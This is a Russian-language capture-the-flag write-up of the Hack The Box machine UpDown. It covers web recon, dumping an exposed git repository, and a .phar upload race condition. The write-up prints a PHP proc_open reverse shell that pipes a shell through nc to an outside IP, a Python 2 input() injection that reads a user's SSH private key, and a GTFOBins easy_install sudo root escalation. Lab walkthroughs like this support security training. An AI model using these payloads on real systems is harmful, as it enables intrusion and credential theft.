Хакер - HTB UpDown. Эксплуатируем Race Condition при атаке на веб-сервер
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- Продвижение
- Локальное повышение привилегий
В этом райтапе я подробно покажу, как искать скрытые данные на сайте, затем покопаемся в его исходниках и получим RCE при эксплуатации Race Condition. Для полного захвата хоста используем ошибку в программе на Python и применим одну из техник GTFOBins.
Наша цель — захватить учебную машину UpDown с площадки Hack The Box. Уровень сложности отмечен как средний.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.177 updown.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Мы нашли два открытых порта: 22 — служба OpenSSH 8.2p1 и 80 — веб‑сервер Apache 2.4.41. На веб‑сервере нас встречает чекер сайтов.

Главная страница раскрывает нам реальный домен — siteisup.htb. Поэтому добавляем запись в файл /etc/hosts:
10.10.11.177 updown.htb siteisup.htb
Затем я попытался послать запрос на свой простенький HTTP-сервер, который можно запустить командой python3 -m http.server 80. В итоге я получил ответ, содержащий страницу HTML в текстовом виде, а в логах своего сервера увидел следующий GET-запрос.

На сайте больше ничего интересного найти не удалось, поэтому приступим к сканированию.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w— словарь (я использую словари из набора SecLists);-t— количество потоков;-u— URL.
Запускаем ffuf:
ffuf -u 'http://siteisup.htb/FUZZ' -w directory_2.3_medium_lowercase.txt -t 256

Находим интересный каталог dev и повторяем сканирование уже в нем.
ffuf -u 'http://siteisup.htb/dev/FUZZ' -w files_interesting.txt -t 256

И обнаруживаем репозиторий Git, а это явная точка входа.
ТОЧКА ВХОДА
Теперь нам нужно сдампить найденный репозиторий, для чего есть набор скриптов dvcs-ripper или специальное средство git-dumper. На этот раз воспользуемся вторым.
git-dumper http://siteisup.htb/dev/ dev
После загрузки репозитория нужно исследовать не только исходный код, но и внесенные изменения. Для удобства представления я использую программу gitk, которую надо открыть из директории, где расположен каталог .git.

В репозитории находим файл admin.php, который отсутствует на самом сайте, а это значит, что нам нужно найти новый сайт. Для этого с помощью ffuf просканируем поддомены. При запуске добавим параметр -H — заголовок HTTP.
ffuf -u http://siteisup.htb/ -t 256 -w subdomains-top1million-110000.txt -H 'Host: FUZZ.siteisup.htb'

Находим поддомен dev и добавляем его в файл /etc/hosts.
10.10.11.177 updown.htb siteisup.htb dev.siteisup.htb
Но к сайту нет доступа.

Тогда возвращаемся к репозиторию и находим там файл .htaccess, который и содержит правила доступа.

В файле видим запись Special-Dev "only4dev" Required-Header — обязательный HTTP-заголовок Special-Dev со значением only4dev. Так как всю работу я провожу через Burp Proxy, то у меня есть возможность автоматически встраивать заголовок во все запросы. Для этого нужно перейти к вкладке Options и найти раздел Match and Replace, где и создаем новое правило замены.

После применения созданного правила обновляем страницу и получаем тот же сайт, но с возможностью загрузки файла.

Возвращаемся к исходному коду и находим правило проверки типа и формата загружаемого файла.

Так, у загружаемого файла просто проверяется расширение — сравнивается с теми, что есть в черном списке. Вот только в списке нет расширения .phar, которое исполняется так же, как и .php. В дополнение к этому мы узнаем и путь загружаемых файлов.

Файлы загружаются в каталог /uploads/.md5(time())/, затем из каждой строки извлекается адрес сайта, выполняется запрос, и после проверки всех сайтов файл удаляется. Таким образом, мы можем загрузить файл, содержащий код на PHP, и успеть его выполнить до удаления!
ТОЧКА ОПОРЫ
Так как сайты в загружаемом файле должны быть разные, чтобы проверялись все, я решил создать список при помощи генератора случайных адресов. Записываем в файл сто разных ссылок и код на PHP, выводящий phpinfo():
http://site1.qw
....
<?php phpinfo(); ?>
Загружаем его на сайт и переходим к каталогу uploads. Мы можем посмотреть его содержимое.

Видим вложенный каталог, название которого — это результат выполнения функции хеширования MD5. То, что нужно, заходим в него.

Там лежит наш файл PHAR. Выбираем его и внимательно просматриваем. Нас интересуют отключенные функции PHP, так как большинство из них и дают нам право выполнения команд в командной оболочке.

Много нужных функций отключено, но там нет proc_open, которая позволяет выполнять произвольные системные команды. Подробнее с ней можно ознакомиться в официальном руководстве. Я же приведу пример реверс‑шелла на PHP с использованием этой функции.
<?php
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "/tmp/error-output.txt", "a")
);
$process = proc_open('sh', $descriptorspec, $pipes, $cwd, $env);
if (is_resource($process)) {
fwrite($pipes[0], 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.31 4321 >/tmp/f');
fclose($pipes[0]);
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
$return_value = proc_close($process);
echo "command returned $return_value\n";
}
?>
Запускаем листенер (я использую pwncat-cs), создаем новый файл PHAR и повторяем все перечисленные выше действия. Так мы получаем сессию от имени веб‑сервера на целевом хосте.

ПРОДВИЖЕНИЕ
Теперь, когда мы получили доступ к хосту, нам необходимо собрать информацию. Как обычно, мне в этом помогают скрипты PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
В этот раз скрипт показал, что нам доступны какие‑то файлы в домашнем каталоге другого пользователя, при этом один из файлов — исполняемый с установленным S-битом.


Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
Файл /home/developer/dev/siteisup доступен группе www-data, но будет работать в контексте пользователя developer. Если запустить файл, он запросит у нас URL и скажет, работает сайт или нет. Я решил просмотреть строки в файле.

Этот файл запускает скрипт siteisup_test.py, который запрашивает URL с помощью функции input(). Дело в том, что эта функция в Python 2 может выполнять код! То есть вместо URL мы можем ввести код, импортирующий модуль OS и читающий приватный ключ SSH.
__import__('os').system('cat /home/developer/.ssh/id_rsa')

С ключом SSH подключаемся к хосту и забираем первый флаг.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Информацию о системе мы уже собирали, поэтому проверим настройки, которые отличаются у разных пользователей. И одна из первых вещей, которые нужно проверить, — это sudoers.
Справка: sudoers
Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l.

Оказывается, мы можем выполнить вот такую команду от имени пользователя root без ввода пароля (NOPASSWD):
/usr/local/bin/easy_install
Easy Install — это модуль Python из библиотеки setuptools, которая позволяет автоматически загружать, собирать и устанавливать пакеты. А самое замечательное — то, что easy_install есть в базе GTFOBins.
Справка: GTFOBins
GTFOBins — это список исполняемых файлов Unix, которые можно использовать для обхода локальных ограничений безопасности в неправильно настроенных системах. Проект собирает законные функции двоичных файлов Unix, которыми можно злоупотреблять, чтобы получить доступ к командным оболочкам, повысить привилегии или передать файлы.

Так что мы можем просто ввести приведенную команду и получить командную оболочку в привилегированном контексте.
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo /usr/local/bin/easy_install $TF

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei